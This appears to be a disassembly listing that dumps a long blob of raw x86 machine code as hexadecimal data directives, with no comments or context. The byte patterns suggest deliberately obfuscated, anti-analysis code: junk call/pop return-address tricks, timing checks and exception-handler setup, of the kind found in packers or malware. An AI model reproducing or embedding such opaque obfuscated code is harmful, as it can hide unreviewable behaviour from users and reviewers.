		dd 8D894DD0h, 6033129h,	0C9595FFh, 0B70F0603h, 4DBD83DEh
		dd 206032Dh, 64840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 5D9225C3h, 628DB270h
		dd 0EDBDBF66h, 23ED858Bh, 0CE80603h, 53000000h,	0E418F163h
		dd 3E8E456Ah, 0E91BD150h, 6, 87F6649Eh,	0C65FE1F4h, 13E90000h
		dd 0C9000000h, 0E925C1Dh, 497B541Fh, 0BF840847h, 0B000DE4Ch
		dd 85C72746h, 6033081h,	0
		dd 0FFF3FAE9h, 0C78166FFh, 0C18B0D51h, 1820Fh, 8DFC0000h
		dd 3130985h, 50006A06h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1904h, 0C3504000h, 0A67A854Fh, 0BF0F21CCh, 0BA6090DFh
		dd 5474E5E7h, 0B61DB966h, 50605061h, 0F616052h,	541CBF31h
		dd 585A412Dh, 9061CA8Bh, 2189BD33h, 6A0603h, 1831BD8Bh
		dd 5E90603h, 0C7000000h, 7F0F6997h, 6A006Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 0D0CD99C3h
		dd 9842A979h, 8D5BF551h, 7C7F985h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 81023584h
		dd 58EC3FCBh, 5C08374h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 4EC35545h, 9771CAB7h,	0E95D563h, 0A5858998h
		dd 2906031Fh, 3265DBDh,	5F535006h, 6A240489h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 7AC5C355h, 954BBFE6h, 6A4BEBh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 0C35343h, 0A0D5522h, 9D8B61C9h
		dd 6032CC1h, 0F8D0Fh, 0AE90000h, 88000000h, 0BED96825h
		dd 37314258h, 6A006A06h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 31CEC353h, 30CD5BDh
		dd 0CB816606h, 95FF1FE5h, 6031DF9h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 0BEC35545h,	9C7597C3h, 21999D8Bh
		dd 8D8D0603h, 6069933h,	14E9h, 9676C300h, 443FAADEh, 0F3EE7BDh
		dd 4DCBD7FAh, 203DB149h, 419D0355h, 0FF06031Bh,	56006AD1h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 0E580F0F9h, 89E6052Ah, 32CE1BDh, 0C5BD8906h,	83060330h
		dd 31D89BDh, 850F0106h,	8Ah, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 0E8C35747h,	7CDE908Dh, 35739538h
		dd 5E9026Ah, 95000000h,	3EAE31BBh, 299D8950h, 5F06032Dh
		dd 9E96050h, 77000000h,	600F84D8h, 0CC203E5Eh, 712FBB60h
		dd 0C68B473Ah, 4896161h, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 0DB6DC96Eh, 296D9589h
		dd 95FF0603h, 6030CFDh,	420EBB66h, 21FD9D8Bh, 16E90603h
		dd 0E800000Eh, 0
		dd 3ED815Dh, 6A0607C8h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 786DC353h, 89A3D097h
		dd 31C91B5h, 53006A06h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 0C1BD8B9Ah, 8D060329h, 6910085h
		dd 77BF6606h, 0E850907Fh, 8, 0B68AEB73h, 0C8D8BB36h, 8D89905Bh
		dd 6031CD9h, 35FF64h, 0F000000h, 48Eh, 0DEBB6600h, 259D8BACh
		dd 6406030Dh, 2589h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 0CCA542C3h, 1E53946Eh
		dd 85FF1610h, 6031D01h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 0F3C35242h, 0E977A139h, 10h, 50B8DFBCh
		dd 6D589F8Bh, 91A0B7F4h, 0CD24E362h, 6AFF6Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 9DA60DC3h
		dd 13E994h, 1B040000h, 7D584FE4h, 2055173Ah, 0D120993Dh
		dd 0B6C9390Bh, 65B5FFEBh, 0E9060317h, 0Ch, 2BAAC285h, 0F0E02B4h
		dd 3D43EB4Ah, 1B4D95FFh, 0FBE90603h, 0F5000000h, 0B53100B0h
		dd 6031C31h, 0B70F70E6h, 0A4C4BBFAh, 71E46B65h,	613CF88Bh
		dd 0DC830Fh, 9D8B0000h,	6032639h, 80C8B60Fh, 6BA55EBh
		dd 0E9000000h, 8, 0F3B51D78h, 0F511DF2Bh, 9D8BC18Bh, 6031745h
		dd 8904E8C1h, 303D98Dh,	59BD8B06h, 6606031Eh, 0FBBFE2F7h
		dd 8B18BC41h, 8BC82BD9h, 3259D9Dh, 1D18B06h, 30E9D95h
		dd 9D015206h, 6033029h,	80E95Bh, 85890000h, 6031D25h, 1858Bh
		dd 0BD8B0000h, 6032D75h, 0E907C083h, 5,	383C77D8h, 8383B7D5h
		dd 8B6600C0h, 0FD03BFBh, 1083h,	359D2300h, 0E9060321h
		dd 46h,	7BAF81BFh, 0FF8D8B71h, 50FFFFFFh, 2DE99589h, 835F0603h
		dd 840F01E1h, 2Ah, 9A59D31h, 0A5830603h, 0FFFFFFFFh, 0D2BF66FEh
		dd 1958992h, 60000000h,	0E418D89h, 9D230603h, 6030755h
		dd 0E961h, 0B58D0000h, 6074791h, 0E856006Ah, 3,	5EC35E20h
		dd 4247489h, 4244481h, 14h, 0D9C35646h,	0F646BB66h, 6A006Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 8B3E56C3h, 95FFF8D8h, 60323A5h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 33C35343h, 5BFDE144h, 0C7BF6664h
		dd 952B60B9h, 6030B59h,	0F32B961h, 83F50000h, 6AFCE1h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 95FCD0C3h, 56FA2CAFh, 2A698D89h, 0BBFC0603h,	2AFC940Ch
		dd 6AC02Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 0BCDB1EC3h, 1F01BD0Bh, 0BA0603h, 0F9000000h
		dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 54C35646h, 1699AB9Fh, 51C15FB9h
		dd 0DF816608h, 6AE399h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 0F987A1C3h, 0F7AB257h, 880DD8B7h
		dd 31000000h, 32655B5h,	0A5958B06h, 6A060320h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 1057C357h, 4315BBA9h, 13E9h,	0C9416600h, 0BFB4C6AEh
		dd 3DFF93BCh, 0A0849B6Eh, 0B412DBA4h, 8D8BBDB3h, 6031A65h
		dd 216D8531h, 8B500603h, 3188BC2h, 8B188BC1h, 3E8D1C1h
		dd 58188BC2h, 8E9h, 0AB442D00h,	48DDC30Ch, 53006A35h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
		dd 751DB882h, 959D8B8Ah, 83060325h, 3210DBDh, 840F0006h
		dd 77h,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h
		dd 4DC35141h, 0B19BD01h, 0B80603h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 4DFDC350h, 8D8D49BBh, 6034D69h, 25A58D89h, 0E1FF0603h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0F7C35141h
		dd 0D6963EDCh, 83B190A6h, 30071BDh, 840F0006h, 473h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 35C35747h, 9D89F52Ah
		dd 6031A11h, 71BD83h, 0F010603h, 45D84h, 8D896000h, 6032AB9h
		dd 68B0Fh, 9D030000h, 6030D31h,	71BD8361h, 3060300h, 406860Fh
		dd 0BD8B0000h, 60330F9h, 312D8D89h, 6A600603h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 89E0C353h, 7A1F3427h, 9D8B9088h, 60322B9h, 0FFDBD2Bh
		dd 8C660603h, 0C5B589D9h, 8A060324h, 4E180DAh, 2C8DBD8Bh
		dd 0C90A0603h, 189840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 0A38823C3h, 68D0F6Dh
		dd 89000000h, 300AD85h,	0AD858B06h, 0E9060309h,	0Ch, 4BA031D5h
		dd 8424ECE7h, 384AAA9Bh, 1A598533h, 6A0603h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0F88B9BC3h
		dd 879B3FC7h, 311B2003h, 3259DBDh, 0BE89006h, 0DA000000h
		dd 551F55A4h, 0D2643A98h, 820F0FADh, 2,	505B6160h, 8E9h
		dd 78DC1900h, 5FA7D3CCh, 6A90AFh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 42C22DC3h, 6AF503h, 14E8h
		dd 0FD2BD900h, 660C60ADh, 6404F117h, 8C43ECF4h,	4E88E805h
		dd 459D8BECh, 5F06030Eh, 562E1068h, 10E921h, 5A600000h
		dd 0CDFB0EFh, 8D88BDD7h, 82657B30h, 3481D663h, 492DEF24h
		dd 85850121h, 0FF06031Fh, 32E7195h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 35504231h
		dd 0BE93986h, 39000000h, 56168C9Eh, 93A20957h, 8589E685h
		dd 606A703h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ch,	0DEC35343h, 0FC246434h,	92E480E9h, 1CFE9h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 8BBC5EEEh, 6A6FB85h,	0DA8B6606h, 1800C7h, 0B70F0000h
		dd 0FFB58BD9h, 6A0606A6h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 0F43C357h, 687h, 0D1BD0B00h
		dd 8B060316h, 31F8985h,	52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 0AF7010E8h, 5252D791h
		dd 5BDF8B66h, 81BD8B5Fh, 89060320h, 7D8D8906h, 2B060315h
		dd 305E1BDh, 0AD858B06h, 0F060309h, 689h, 818D8900h, 89060323h
		dd 830F0446h, 6, 3059BD31h, 0E8500603h,	13h, 6158F394h
		dd 8A38FBFFh, 0C4736E45h, 823B5FD3h, 0BB9BDEE9h, 6EBC2AEEh
		dd 2434895Bh, 68D0Fh, 85890000h, 6033115h, 0A6FBB5FFh
		dd 6A0606h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 0CC5DF6C3h, 0E8B9E780h, 4, 1F03FFh, 28F236BFh
		dd 0FA8B5044h, 424448Bh, 8A0Fh,	8B0000h, 0D38A6060h, 310F5250h
		dd 0BA61585Ah, 0EB7CE74h
		dd 24448961h, 0D88B6604h, 0A99D8B58h, 8D060323h, 6A70385h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 939761C0h, 9D316C28h, 6032AB9h, 68A0Fh
		dd 95890000h, 6033095h,	0F90FA8Bh, 88Eh, 0F525000h, 5A5F5031h
		dd 8B515058h, 66905FDAh, 0FF25F9BBh, 32E7195h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 0EC9A8FA7h, 0FD0DC669h, 23BF6661h, 7185C77Fh, 3060300h
		dd 66000000h, 0BD83DE8Bh, 606A703h, 55840F00h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 0E9F6C352h, 12h, 0BBFD812Bh, 0AC4D5419h
		dd 27BE0EE3h, 8CBA6A13h, 38E90A72h, 0E8000000h,	0Ch, 0B8C09C32h
		dd 0BAA35F4Bh, 9F55242Bh, 14619D8Bh, 665B0603h,	5E48EF81h
		dd 110C3050h, 1114400h,	3010E8C1h, 21144h, 5803114Ch, 7504E983h
		dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
		dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
		dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 31C08B00h
		dd 30CF595h, 57006A06h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 0F13752CCh, 23E9BD29h, 80600603h
		dd 8D297AE9h, 6032A4Dh,	71BD8361h, 3060300h, 439850Fh
		dd 9D890000h, 60309B9h,	0A703BD83h, 0F000606h, 42684h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 0F7FCEAFCh, 81663B21h, 0FF6CF9D3h, 6A703B5h
		dd 0FFD88B06h, 32A7595h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 6F54737Eh, 0C9250B5Dh
		dd 9DB58960h, 89060321h, 320F5B5h, 8E0F6106h, 0
		dd 0A6F7B58Bh, 0C7FC0606h, 1000106h, 8D89F800h,	6032D45h
		dd 10E996h, 76270000h, 9C14BB22h, 0DA63E602h, 0D31AAD7Fh
		dd 665085D5h, 96AA0EBFh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 15h, 8C35141h, 12E966h, 7D7E0000h,	0A67EC4F0h
		dd 0CAB14C88h, 58DE942Bh, 491DA462h, 0CE8h, 5342F200h
		dd 406CB58Ch, 0D9A8E426h, 8166607Eh, 0E9B142D8h, 0Eh, 0F1DAD586h
		dd 9313DEF1h, 8CCBD884h, 5B61D9ADh, 18FDBD8Bh, 0B5FF0603h
		dd 606A703h, 723FCB81h,	12E954CDh, 0FD000000h, 3DB6C30Fh
		dd 0BC8E33DFh, 0D13CDED0h, 0F5D981EFh, 4995FFFFh, 6A060324h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 9975C357h, 0BDEFDD68h, 0F7B58BD0h, 6A0606A6h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 3861C357h, 5634EABFh, 31858B1Bh, 66060331h
		dd 0C886CB81h, 0C48689h, 9D0B0000h, 6032A8Dh, 20A5958Bh
		dd 8B520603h, 0C2835FF8h, 53006A04h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 0AF024773h
		dd 939CB53h, 5E8h, 3081B400h, 895BE02Fh, 9D892050h, 6031861h
		dd 0BB16858Dh, 0CE90606h, 1000000h, 0ADC83C27h,	0F3DFFD7Dh
		dd 8981A735h, 0B886h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 0FE43D0Dh, 68Ch, 8DBD8B00h
		dd 81060320h, 0E842B4E3h, 0DE938h, 1CF30000h, 0E7395180h
		dd 2C0F807Ah, 6A79C2DAh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 0F479A5F1h, 0E7008B23h
		dd 0C381664Bh, 0B5FFF617h, 606A703h, 19B5BD8Bh,	95FF0603h
		dd 6030CFDh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	0BEC35646h, 293429E2h, 961CB1A6h, 6D0BBB50h, 505F4C1Bh
		dd 48B0Fh, 0BB660000h, 669678CCh, 0FF5452BBh, 6A703B5h
		dd 95FFF506h, 6032E7Dh,	7811F781h, 0BD830CFCh, 60326C9h
		dd 5F840F00h, 0E8000000h, 13h, 8D28BA4Eh, 4AD57650h, 0FCA228D9h
		dd 5BFB004Fh, 0E8DDBDCAh, 0Bh, 0F13C7E1Ah, 0C5DB623h, 570DA5CDh
		dd 505B5B5Bh, 13E8h, 3F99E200h,	2E832E3Dh, 8F5CE829h, 728F0FF9h
		dd 0AA6C173Bh, 0D88B5250h, 0F98B310Fh, 895B585Ah, 8D0F2434h
		dd 3, 0FFFB70Fh, 0B5FFF9BFh, 606A703h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 34C35141h, 0A8DEAEFh, 0E8C0F49h
		dd 60000000h, 180DBD8Bh, 0BD8B0603h, 6031D35h, 0B995FF61h
		dd 6A060314h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 6FFFC351h, 0B5FFEA9Eh,	606A703h
		dd 9D0326B3h, 60314D5h,	0C9595FFh, 6A0603h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 9009F5C3h
		dd 0D2A22EDAh, 0F9BF0FEBh, 2D4DBD83h, 0F020603h, 4884h
		dd 0DA8B6600h, 23ED858Bh, 0C60603h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 745AAF33h
		dd 9D8B603Bh, 6031C61h,	0FE9h, 98ECBB00h, 27A5FF4Bh, 0CCCC6300h
		dd 507EE667h, 8185C761h, 60330h, 8B000000h, 31D41BDh, 0E9FB8B06h
		dd 0FFFFF318h, 0FE9h, 0E07FF700h, 0B5111FF1h, 0BCD2ED5Fh
		dd 0BAD86DB4h, 6AC18Bh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 0CD887DC3h, 5ACC3149h, 0A71501BBh
		dd 9858D22h, 80060313h,	0F5096CBh, 483h, 5F535200h, 2404895Bh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0ECC35343h
		dd 6A3ADEA6h, 323F68DBh, 6A006A64h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 9433C357h
		dd 4B423A86h, 0CCF9BAB9h, 25ADBD89h, 0FE80603h,	0FA000000h
		dd 27D4A184h, 0A3B6F159h, 0DAD80D83h, 0BD890BE6h, 6030B95h
		dd 6A006A5Bh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 5CCC356h, 6604DE28h, 858DD88Bh
		dd 607D82Bh, 3FDBD8Bh, 0AE90603h, 4F000000h, 0ED02CD63h
		dd 432C4657h, 5C0834Ch,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 44C35242h, 3E243EFAh,	16D3ADAEh, 0FFD9D8Bh
		dd 8B900603h, 10E850FEh, 77000000h, 0A4B60819h,	0B43C1361h
		dd 7C8A89EDh, 0E9819424h, 13h, 793B4C0Ah, 0F4111CB2h, 0B0D5F41Bh
		dd 6696CEC5h, 5F6255C9h, 0E9B52990h, 6A060329h,	95952900h
		dd 6606031Ah, 0F08EEB81h, 8E8006Ah, 0F1000000h,	0D53648C8h
		dd 8B8BF08Ah, 323DD9Dh,	95FF5F06h, 6031DF9h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 27C35242h, 0CB144866h
		dd 0F1F1EE8h, 8D8DD9B7h, 6069933h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 33C35242h, 0BB1FFB34h, 8BD1FF73h
		dd 30B8D9Dh, 89BD8306h,	106031Dh, 62850Fh, 9D330000h, 6031881h
		dd 6A026Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 0CF8663C3h, 0B5316218h, 603063Dh,	0FA8B6690h
		dd 90DA8B50h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 15h,	0B4C35141h, 2BF78050h, 0CFD95FFh, 8D890603h, 6032DF9h
		dd 0BFAE9h, 0E800h, 815D0000h, 7D835EDh, 59D8B06h, 906031Eh
		dd 3058DBDh, 858D06h, 6A060691h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 0E62EC350h,	8969B607h
		dd 325CDB5h, 8B50F806h,	240489FEh, 35FF64h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 97DCC357h, 0DAF60124h, 28F0F54h, 0B3000000h
		dd 2589645Dh, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 90C35343h
		dd 0C05EAA67h, 85FFC96Ah, 6031D01h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 0C7C35545h,	701A386Bh, 6FC8BE49h
		dd 4A19D2Bh, 0FF6A0603h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Ah, 55C35040h, 0EFD6419Dh, 0B5FF23BCh, 6032021h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 8C35242h
		dd 0EF5A60ABh, 0F381DFB0h, 79CCEB2Dh, 1B4D95FFh, 0E9E90603h
		dd 0F000000h, 581h, 0D3816600h,	0B02DE5h, 0BF0F70E6h, 0D88B66FBh
		dd 0FE8B71E4h, 27059D01h, 613C0603h, 0C2830Fh, 81660000h
		dd 0F7F2DCBh, 9589C8B6h, 6031479h, 6BAh, 0C18BF900h, 0F659D8Bh
		dd 0E8C10603h, 3DB50904h, 66060304h, 0DF8BE2F7h, 0D381C82Bh
		dd 4FEF435Ah, 0BD29D18Bh, 6030BA5h, 83E9h, 0C5BD8B00h
		dd 29060324h, 32309BDh,	4858B06h, 0E9000000h, 0Ch, 0C3B13792h
		dd 2293870h, 0F1B920B1h, 8B07C083h, 30B49BDh, 0C08306h
		dd 3B1DC780h, 0E830FD0h, 89000000h, 312F58Dh, 3EE906h
		dd 0C7800000h, 0FF8D8B12h, 0BFFFFFFFh, 7B7D6CBAh, 0F01E183h
		dd 2784h, 0D9D3300h, 6606032Fh,	0A56ECB81h, 0FFFFA583h
		dd 89FEFFFFh, 3200D8Dh,	4958906h, 66000000h, 0E9A60CBBh
		dd 0
		dd 56C3B58Dh, 800F0607h, 6, 6559D8Bh, 6A0603h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0D9C35040h, 0DA795305h
		dd 959D334Dh, 0FF06031Ah, 323A595h, 2ABB6606h, 0E38B976h
		dd 0D3800000h, 83FC8A5Ah, 0BD8BFCE1h, 6030FD5h,	0C02BFCFCh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 2CC35545h
		dd 3CAD011Dh, 1E1D9D8Bh, 7E90603h, 1000000h, 20A6A684h
		dd 0BA4064h, 6A000000h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 0D9C3C350h,	9785EA17h
		dd 6E857h, 2F2E0000h, 0EDEFCDFEh, 5E8h,	0DA76100h, 6E963D4h
		dd 4E000000h, 0CEF2EB7Bh, 0AD5B5B45h, 0E8D1C233h, 0E983D003h
		dd 6AF47504h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 3F91C352h, 0E2E95E65h,	880Dh
		dd 5E900h, 0FCDE0000h, 8B2B1F6Bh, 320A595h, 0E1852906h
		dd 8B06032Eh, 31A658Dh,	52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 499BB94Ah, 30ED25A7h
		dd 9D8B769Bh, 60306B1h,	8BC28B50h, 8BC10318h, 0D1C18B18h
		dd 8BC203E8h, 6A5818h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 89DFFAC3h, 316059Dh, 0D19D0306h
		dd 83060308h, 3210DBDh,	840F0006h, 84h,	14E9h, 1E69F400h
		dd 0AB6E4DAEh, 0C9D30E9Eh, 0A8F896D8h, 0B8315DADh, 0FB8B66A2h
		dd 0B8h, 0A5BD8B00h, 8D06030Fh,	34D698Dh, 52006A06h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
		dd 0BBD71A29h, 3122183Ch, 6AE1FFF8h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 74A3C353h
		dd 0BE011C82h, 9E94230h, 9B000000h, 23384AAAh, 824B5D2Fh
		dd 71BD83h, 0F000603h, 36F84h, 71BD8300h, 1060300h, 37D840Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 8BB9C5C3h, 0BD83F9DAh, 6030071h, 1A860F03h
		dd 0E9000003h, 10h, 611F01DFh, 0F8DE134h, 3B7FF8D3h, 0A4797562h
		dd 66D88B60h, 8D89D98Ch, 6031FBDh, 1AD99D8Bh, 0E1800603h
		dd 418D2904h, 0A06030Fh, 0F3840FC9h, 0F000000h,	684h, 0ECF78100h
		dd 8B3E15DAh, 309AD85h,	56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 33E167EDh, 31A5985h, 880F06h
		dd 89000000h, 3298D85h,	0BB669006h, 50509DDBh, 0AAB86052h
		dd 611369BBh, 5250310Fh, 890F310Fh, 0
aZxzxrj		db 'ZXZXj',0
		db 53h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 0A9D94D5Bh, 0D99D89E2h, 6A06031Bh, 0EE900h, 5B430000h
		dd 32DF36B2h, 0C6240644h, 0F5CF9952h, 0E026D268h, 6292BF79h
		dd 34814EC0h, 0FF252D24h, 51006A79h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 89BDA3D8h
		dd 323518Dh, 7195FF06h,	8106032Eh, 2C2B9AEFh, 3858928h
		dd 8B0606A7h, 30E7DBDh,	167E906h, 0BF660000h, 858B7FAFh
		dd 606A6FBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 16h,	0F9C35747h, 9509D6ECh, 6030EF5h, 484EBF66h, 1800C7h
		dd 0B5890000h, 6032F79h, 0A6FFB58Bh, 0BD230606h, 60308C9h
		dd 1F89858Bh, 6A0603h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 913AFFC3h, 0A637D134h, 0BD8B81E7h
		dd 6032105h, 85090689h,	60312E9h, 9AD858Bh, 6A0603h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 866272C3h, 6830Fh, 0BD8B0000h, 60322D5h, 7AFABF66h
		dd 8B044689h, 31B79BDh,	0BF665006h, 34891F33h, 619D8B24h
		dd 0FF060305h, 6A6FBB5h, 158D8906h, 68060329h, 0DDAF009Ch
		dd 6E8h, 49C8C800h, 5FDACA66h, 63240481h, 8D227003h, 6A70385h
		dd 0DB53106h, 66060316h, 6A72C781h, 4BF6690h, 880F5000h
		dd 0Ch,	8B0F60h, 66000000h, 612A00BAh, 57006A90h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
		dd 0CD90123Fh, 0C6B65A61h, 7195FF0Ch, 6A06032Eh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 710BC355h, 8B6650E6h, 665161FBh, 0C75BDA8Bh,	3007185h
		dd 306h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 659D8969h, 8B060313h, 32EE5BDh, 3BD8306h
		dd 606A7h, 47840Fh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 9E1AA6C3h, 7EBEE2Fh
		dd 3BE9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 0A4DF258h, 0C305009h, 11440011h
		dd 10E8C101h, 2114430h,	3114C00h, 4E98358h, 36EBE775h
		dd 11043050h, 1116400h,	3010E8C1h, 21144h, 58031164h, 7504E983h
		dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h
		dd 83110430h, 0E77504E9h, 0C08B00EBh, 2DD99D8Bh, 83F50603h
		dd 30071BDh, 850F0306h,	3EBh, 3BD83F5h,	606A7h,	3DD840Fh
		dd 0BD2B0000h, 6031CA1h, 0A703B5FFh, 6A0606h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 91199EC3h
		dd 0E9FC0C99h, 14h, 0B10E0C08h,	93297BF4h, 0B75A47Ah, 699BB7Dh
		dd 26EEF067h, 2A7595FFh, 0B5290603h, 6030E91h, 0A6F7B58Bh
		dd 81600606h, 5EA68EF6h, 0C317BB12h, 0C7610BF3h, 1000106h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 0E850C8FCh, 12h,	47429E17h, 6C3EF27Bh, 0AC983703h
		dd 0BC35E67Ch, 8B669CA1h, 34895FFEh, 52006A24h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 141FCE6Ch
